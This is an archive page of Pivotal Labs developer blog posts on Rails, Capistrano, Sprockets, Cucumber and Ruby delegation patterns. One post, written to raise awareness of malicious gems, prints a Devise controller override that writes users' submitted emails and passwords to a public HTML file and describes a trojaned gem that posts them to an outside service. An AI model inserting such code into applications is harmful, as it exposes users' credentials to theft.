31: The bleeding edge

Tuesday, January 31, 2012

Interesting Things

There’s a new release of Backbone – 0.9.0. It’s billed as a release candidate for 1.0, and seems to be a bit buggy, as RCs can be. However, it’s exciting to see that Backbone is getting close to that milestone.
You should default boolean fields to true or false, at the database layer. Otherwise your queries have to deal with three-valued logic.
Rails 3.2 has some unexpected behavior. First, the generated form ids have changed … what used to be id=user_new is now id=new_user. Second, if your routes file is missing an entry, you will no longer get errors in controller tests. If you liked that behavior, try out request specs.

Ask for Help

“Anyone seen problems with the latest REE and iconv?”

Everything works on the Linux machines, but on Macs, there’s an error about an unrecognized target encoding. Iconv works on the command line, so it’s something about REE.

Verifying hosts are active in the load balancer pool

Pivotal Labs

Wednesday, January 11, 2012

Most load balancers have a heart beat monitor, that allows the load balancer to decide whether or not to send traffic to a given host.

For example:

http://server1.host.com/check.txt

If the load balancer gets a 200, it will send traffic to server1, if it gets a 404 or a timeout, it will not.

Today we were trying to figure out how to find what servers were up and running in the load balancer pool.

Here’s the capistrano task we came up with:

desc "Curls the check.txt file to see if the host is in the load balancer"
  task :check_load_balancer do
    roles[:web].map(&:host).each do |hostname|
      value = %x{/usr/bin/curl -fs 'http://#{hostname}/check.txt'}
    puts "Curling http://#{hostname}/check.txt: #{value}"
  end
end

This gives you output like the following:

$ cap production deploy:check_load_balancer
  * executing `production'
  * executing `deploy:check_load_balancer'
Curling http://server2.dc1.domain.com/check.txt:
Curling http://server3.dc1.domain.com/check.txt: OK
Curling http://server4.dc1.domain.com/check.txt: OK
Curling http://server5.dc1.domain.com/check.txt:
Curling http://server6.dc1.domain.com/check.txt: OK
Curling http://server7.dc1.domain.com/check.txt: OK
Curling http://server8.dc1.domain.com/check.txt: OK
$

Now we can easily see there are issues with server 2 and 5.

Standup 1/9/2012

Glenn Jahnke

Monday, January 9, 2012

Helps

CCMenu + Hudson w/o Basic Auth

“Has anyone figured out how to use CCMenu with Hudson and not have Basic Auth?”

Hudson has its own authorization mechanism, unlike Basic Auth, so it can’t be used with nice desktop tools like CCMenu which shows the red/green square in your system tray.

Consider using Jenkins.

Using Symlinks with Dropbox

Using the Linux Dropbox client seems to allow symlinks to be uploaded, but they will not behave as expect anywhere else. Someone was trying to have a “latest” folder point to the latest versioned folder.

The recommendation was just to have two copies of the files as a workaround.

Interestings

Rails Bridge Outreach for Women Workshop has space

Looking to learn Rails? There’s a great meetup to get you up and running. As of this writing there is still space available. Come check the event out.

Yammer Javascript Meetup on Tuesday

Yammer will be hosting a Javascript meetup, expect the usual snacks and beer, and good talks about our favorite client-side language.

Giving Rails 2 the Asset Pipeline

Davis W. Frank

Thursday, December 29, 2011

We had a client project, a Rails 2 app, that needed some cleanup around JavaScript and CSS management. They were using both Sprockets 1 and Jammit, as well as a bunch of plugins and gems to help make all this work together. They had a set of problems that the Rails 3.1 Asset Pipeline solved. But due to gem dependencies we couldn’t go to Rails 3 yet.

How hard could it be to put Sprockets 2 and the Asset Pipeline into a Rails 2 app?

1. Add Sprockets 2

In the Gemfile:

gem sprockets, "~> 2.0"

2. Working with SASS

If you need/want the Sass gem for SASS or SCSS stylesheets, then this goes in the Gemfile:

gem 'sass'
group :development, :test do
  gem 'sprockets-sass'
end

Rails 2 doesn’t include Sass by default. So you need to add it. Yes you might already have Sass if you’re using HAML for your view templates, but since they’re about to be broken apart, add it now.

The sprockets-sass gem adds support of watching individual .sass files in development and recompiling the parent stylesheet asset as needed. It’s not going to be used in production, but more on that later.

For your SASS files you’ll want to use @import to declare SASS dependencies instead of Sprockets’s require.

3. Rack it up in `config.ru`

Sprockets runs as Rack middleware, but since it’s difficult to map a path in Rails’ environment.rb 2 and make a rackup file. Name it config.ru so that the rest of Rails’s scripts (e.g., script/server) work with it transparently. For example:

What’s going on in this rackup file -

Sprockets with the same paths as Rails 3.1′s defaults – add more as necessary for your app
Guard against mapping /assets in production.
Guard against multiple loads if Rails is already initialized (a fix for testing)
Use Sprockets::Helpers to get asset_path and asset_url helpers (and others, see sprockets-helpers) for your stylesheets and views
Map / to the rest of Rails, guarding the middleware you don’t need in test

4. More Templates

Using EJS or Mustache? Then drop in the additional gems that work with Sprockets 2′s templating via Tilt:

gem 'ejs'
gem 'sprockets_spacely'

5. Move Your Assets

Now that configuration is done, move your assets under app/assets, just like the Rails Guide suggests. Don’t forget to change the url calls in your stylesheets to asset_url. Run the app, checking your JS console for 404s until all the includes and paths are correct.

6. Capybara

Capybara now needs to forget that it’s running Rails and instead just a Rack app. This technique (WARNING: eval ahead.), meant for using Cucumber/Capybara in a Sinatra app, works.

7. Compile your assets on deploy

All of this work so far makes your assets available from your /app directory in development and test. In production, they will get served from /public/assets. Rails 3.1 provides the assets:precompile to be used as part of the deploy process Generate an empty Rails 3.1 app and copy it into lib/tasks. Copy the Sprockets configuration from your config.ru into this task. Or yes, come up with a way to DRY this configuration up. Then you need to make sure it’s run at the right time during your deploy.

8. What’s left?

This was all we needed and it’s working well for this app. There are a few things that this guide doesn’t cover.

Assets from gems or /vendor are not loaded. Feel free to add explicit paths to Sprockets as needed. The Sprockets Helpers gem doesn’t yet support a Proc for an asset host, but there’s now an open issue on Github. This project didn’t need the former and we threw something together based on Sasset, which appears to be abandoned, and use it only on the asset compile step. We’re not using CoffeeScript on this project. These we’ll leave as exercises for the reader.

The Asset Pipeline is still a bit new and we’re all getting used to it. It’s not just Sprockets, SASS, etc. – there is a lot of functionality that Rails puts on top of Sprockets, but it’s easy enough to add the equivalents.

That wasn’t so bad, was it?

[Standup][SF] 11/22/2011: Programmatic select box changes

Tyler Schultz

Tuesday, November 22, 2011

Help!

“How do I choose the value of a select box programmatically? The val function does not seem to do the trick.”

Try setting the desired option as selected and then trigger a change event on the select input.

*”A pair is looking for ‘multi file upload via iframe-transport’ expertise. Specifically uploads in FireFox 3.6.”

Interesting

The latest RubyMine EAP has improved code formatting options!

Figuring out what Rails Guide to edit next

Pivotal Labs

Sunday, November 13, 2011

I’ve been contributing to Rails lately by going through the Rails Guides and making sure they’re up to date.

How do I go about finding a guide that hasn’t been updated in a while?

Here’s what I came up with:

ls -1 | perl -e 'while(<>) { chomp; $file = $_; print "$file was"; $changed = qx/git log -1 --format=format:"changed by %an %ar" $file/; print " $changedn" } '

In the docrails/railties/guides/source directory, this outputs:

2_2_release_notes.textile was changed by Vijay Dev 11 months ago 2_3_release_notes.textile was changed by Vijay Dev 8 months ago 3_0_release_notes.textile was changed by ov3y 3 months ago 3_1_release_notes.textile was changed by Rinaldi Fonseca 2 months ago action_controller_overview.textile was changed by Brian Durand 3 weeks ago [...]

There’s got to be a better way. I’d like to be able to sort by the date they were last written, etc.

Got any ideas?

Another first four weeks: concerned and delegated

Stephan Hagemann

Thursday, November 10, 2011

James’ post from a couple of weeks ago inspired me to write up my own experiences of my first couple of weeks at Pivotal. However, instead of telling you how it felt, I will tell you about stuff I learned.

ActiveSupport::Concern

I have seen and used this pattern of adding both class and instance methods from a module to a class:

module Foo
  def self.included(base)
    base.extend(ClassMethods)
  end

  module ClassMethods
    def foo
      'classy'
    end
  end

  def foo
    'instancy'
  end
end

class Bar
  include Foo
end

Bar.foo # => "classy"
Bar.new.foo # => "instancy"

While the syntax for including Foo in Bar is nice and succinct, the definition of Foo contains the funny looking “included” hook to also extend the base class.

If you happen to have ActiveSupport around, you can instead define Foo as follows while achieving the same result:

module Foo
  extend ActiveSupport::Concern

  module ClassMethods
    def foo
      'classy'
    end
  end

  def foo
    'instancy'
  end
end

The documentation explains the more convenient feature of Concern, which is module dependency. Using Concern, module dependencies are correctly loaded without the need for you to be concerned.

DelegateClass

In one of the projects I worked on, we were exporting data from a Rails app. We wanted access to the business logic of the models while not littering the application’s code with export related code. We decided to extend the models using DelegateClass (see Jeff’s blog post on DelegateClass as a starting point). And DelegateClass rocked our world, too.

A couple of things to note:

It turns out, that these days there is no need to manually ensure that id gets delegated. It works out of the box.
Class methods need manual delegation.

Here is a basic delegation example:

require 'delegate'

class Foo
  def to_s
    "foo"
  end
end

module Export
  class Foo < DelegateClass(Foo)
    def bar
      "#{self} bar"
    end
  end
end

foo = Foo.new

foo.to_s # => "foo"

Export::Foo.new(foo).to_s # => "foo"
Export::Foo.new(foo).bar # => "foo bar"

When delegating ActiveRecord models with associations between them, the following pattern can be helpful to make sure you get the delegated classes when traversing relationships:

class Post < ActiveRecord::Base
  has_many :comments
end

class Comment < ActiveRecord::Base
  belongs_to :post
end

module Export
  class Post < DelegateClass(Post)
    alias_method :original_comments, :comments
    def comments
      original_comments.map { |comment| Export::Comment.new(comment) }
    end

    #some methods for exporting
  end
end

module Export
  class Comment < DelegateClass(Comment)
    alias_method :original_post, :post
    def post
      Export::Post.new(original_post)
    end

    #some more methods for exporting
  end
end

original_post = Post.new(comments: [Comment.new])
original_post.comments.first.class # => Comment(...)
post = Export::Post.new(original_post)
post.comments.first.class # => Export::Comment

#Be aware!
original_post == post # => true
original_post.class == post.class # => false

The Radically Refactored Rails Roundup

Pivotal Labs

Sunday, November 6, 2011

I want to talk about something that’s been bugging me for a long time in Rails. I want to talk about it, but a lot of smart people have already said what I have to say recently. They’ve said it rather well.

Here’s the upshot: Rails makes it look like you’re supposed to have model objects (subclasses of ActiveRecord::Base), controller classes (subclasses of ActionController::Base), and view templates, and that’s it. Maybe some observers (subclasses of ActiveRecord::Observer). For the most part, Rails style is to push as much behavior into the model as possible. “Skinny controllers, skinny views, fat models,” they said.

Well, object obesity is a growing problem in the Rails world, because we’ve been shoving so much responsibility on our poor model objects that they can barely hold themselves up. They’re particularly hard to test, because while you’re mainly interested in testing your domain logic, to make one of these objects in a test you often need to persist it in the database first. That’s just crazy. And slow.

Rails is no more exempt from the utility of the Single Responsibility Principle than any other environment. What if we separated the concerns of domain logic and persistence?

For a while I thought I might be the crazy one, but it turns out I’m not alone in thinking this. We’re seeing a renaissance of classical OO patterns in the Rails world as people realize that throwing everything in a handful of objects doesn’t scale with application complexity.

The Roundup

The earliest post I’ve seen is from James Golick in early 2010, who calls it Crazy, Heretical, and Awesome. As James writes,
Ever wondered why it seems impossible to write a really good state machine plugin — or why file uploads always seem to hurt eventually, even with something like paperclip? It’s because these things don’t belong coupled to persistence. [...] A file upload handler shouldn’t have to worry about how the name of the file gets stored to the database, let alone where it is in the persistence lifecycle and what that means. Are we in a transaction? Is it before or after save? Can we safely raise an error?
I also love the objection he hears the reader raise:
“But then I’ll have all these extra classes in my app!”
I’ve heard this objection too. I don’t get it. Some people seem to have the idea that the fewer classes you have, the easier it is to maintain the app. Maybe it comes from being used to 3000-line classes. Having more of those would be a pain. But by breaking up responsibility into cohesive units, each class becomes comprehensible, which is of the utmost importance in software development, especially as the complexity of the app and the size of the team grow.
This past July, the storm began to gather, as Avdi Grimm got all Fowler on Rails‘ ass. He also gives a shout out to Jeff Casimir’s Draper, which I haven’t gotten to use yet but I am itching to try. People who have used it are saying good things.
Then Piotr Solnica wrote about “Making ActiveRecord Models Thin“. Don’t miss the rich discussion in the comments. Also, make sure you read the section “Well Defined API“. The part where he writes,
Your Domain Model should have an interface to every action your application should be able to perform. If you have an online shop where a user can buy a product then with a well-written Rails application you should be able to fire up the console and be able to easily perform this operation. If it’s not so simple then you probably want to think about your model implementation again.
Mmm, yeah. That’s good medicine.
Coming out of that discussion in the comments, Giles Bowkett re-raised a point from James’ piece, that not all apps will need this kind of treatment, because not all apps will be complex enough to feel the pain. Giles writes,
I don’t think there’s really any debate here at all, except for one crucial question: where do you mark the threshold? How do you decide when your code needs this split?
Great question.
Next up, the great Steve Klabnik calls Plain Old Ruby Objects “The Secret to Rails OO Design“, focusing on the ways they can improve the structuring of view logic. He explains the problem with Rails this way:
[T]here’s something special about Rails which seems to lure you into the trap of never breaking classes down. Maybe it’s that lib/ feels like such a junk drawer. Maybe it’s that the fifteen minute examples only ever include ActiveRecord models.
He followed that post up with another awesome one about writing presenters. Do give them a read.

Any good articles I’ve missed? Leave a comment and let me know.

Interacting with popup windows in Cucumber/Selenium

Pivotal Labs

Monday, October 24, 2011

OAuth providers like LinkedIn often pop-up in a new browser window rather than in Javascript so that the user entering their credentials can see the location bar to be sure they are not being phished by the website requesting their credentials. This is great for security, but not so great for Cucumber testing.

features/signup.feature

Scenario: Sign Up with LinkedIn
  When I go to the home page
  And I follow "Sign Up"
  And I grant LinkedIn access
  Then I should be on the new user page

My application has a hyperlink that opens the OAuth login on the OAuth provider’s website in a new window. Let’s presume the simple matter of wiring this up is already coded in my view.

Testing this with Cucumber requires telling the Selenium web driver to interact with the new popup window. We can do this using page.driver.browser.window_handles to find the newest window handle and scoping out actions to that window.

features/support/signup_steps.rb

When /^I grant LinkedIn access$/ do
  begin
    main, popup = page.driver.browser.window_handles
    within_window(popup) do
      fill_in("Email", :with => "newlee@pivotallabs.com")
      fill_in("Password", :with => "password")
      click_on("Ok, I'll Allow It")
    end
  rescue
  end
end

And that’s it!

Keep in mind that if you use this test as-is, you will be hitting LinkedIn on the real Internet. This is great if you want a test that will always verify the real API, but not so good for CI, since it is Internet connection-dependent and slow. Consider using something like VCR or Artifice to stub out your service calls.

Do you know what your gems are doing?

Ben Smith

Saturday, October 8, 2011

A client recently expressed concern with a number of gems added to his project. A quick explanation and a little documentation cleared up what each gem was doing/why we needed it.

This satisfied the client, but it got me wondering: what’s the worst thing that could happen from a gem if it was malicious? The worst case I could imagine would be the client’s customer’s data getting stolen, the customers completely loosing faith in the site, and the client’s project failing because of it.

How likely is this to happen? I don’t really know.

How hard would it be for someone to do this?

I decided to see what it would take to harvest usernames and passwords from a typical Rails app using Devise for authentication. In less than 5 minutes, I had written an initializer which modified the behavior of the Devise controller to write out usernames and passwords to an HTML file in the public directory of the app.

The code wasn’t clever at all. I copied/pasted the create action, and added three extra lines to write out the data to the file.

      class Devise::SessionsController < ApplicationController
        prepend_before_filter :require_no_authentication, :only => [ :new, :create ]
        include Devise::Controllers::InternalHelpers

        # POST /resource/sign_in
        def create
          File.open("#{Rails.root}/public/passwords.html", 'a+') do |f|
            f.write("#{params[:user][:email]} #{params[:user][:password]}<br />")
          end
...

So the answer to my question, how hard would it be for someone to write a malicious gem that would compromise customer data: dead easy.

I packaged up the code as a gem. Anyone can easily pwn their own Devise Rails app by adding the following line to their Gemfile:

gem 'devise_hack'

Of course, who would install a gem that would pwn their own app? No one, but what about a “long con” approach?

Say I wrote a useful gem, pushed updates occasionally, and got a decent level adoption. At this point I could push a new version of the gem which contained a little hack, and wait for the usernames and passwords to roll in. Maybe like this little guy…

gem 'awesome_rails_flash_messages'

This little gem takes all of your Rails flash messages and makes them more awesome. Simple as that. Ohh, it also logs and requests containing a password to a file AND posts it to an external web service, but that’s nothing to worry about.

So how do you avoid these malicious gems? For this dead simple hack, it is dead simple to identify. All you have to do is look at the source code. If you see code that is writing credentials to a file, maybe posting to an external web service, or sending emails when it really shouldn’t be… you might want to reconsider using that gem.

Interesting Things

Ask for Help

Helps

CCMenu + Hudson w/o Basic Auth

Using Symlinks with Dropbox

Interestings

Rails Bridge Outreach for Women Workshop has space

Yammer Javascript Meetup on Tuesday

1. Add Sprockets 2

2. Working with SASS

3. Rack it up in config.ru

4. More Templates

5. Move Your Assets

6. Capybara

7. Compile your assets on deploy

8. What’s left?

Help!

Interesting

ActiveSupport::Concern

DelegateClass

The Roundup

features/signup.feature

features/support/signup_steps.rb

3. Rack it up in `config.ru`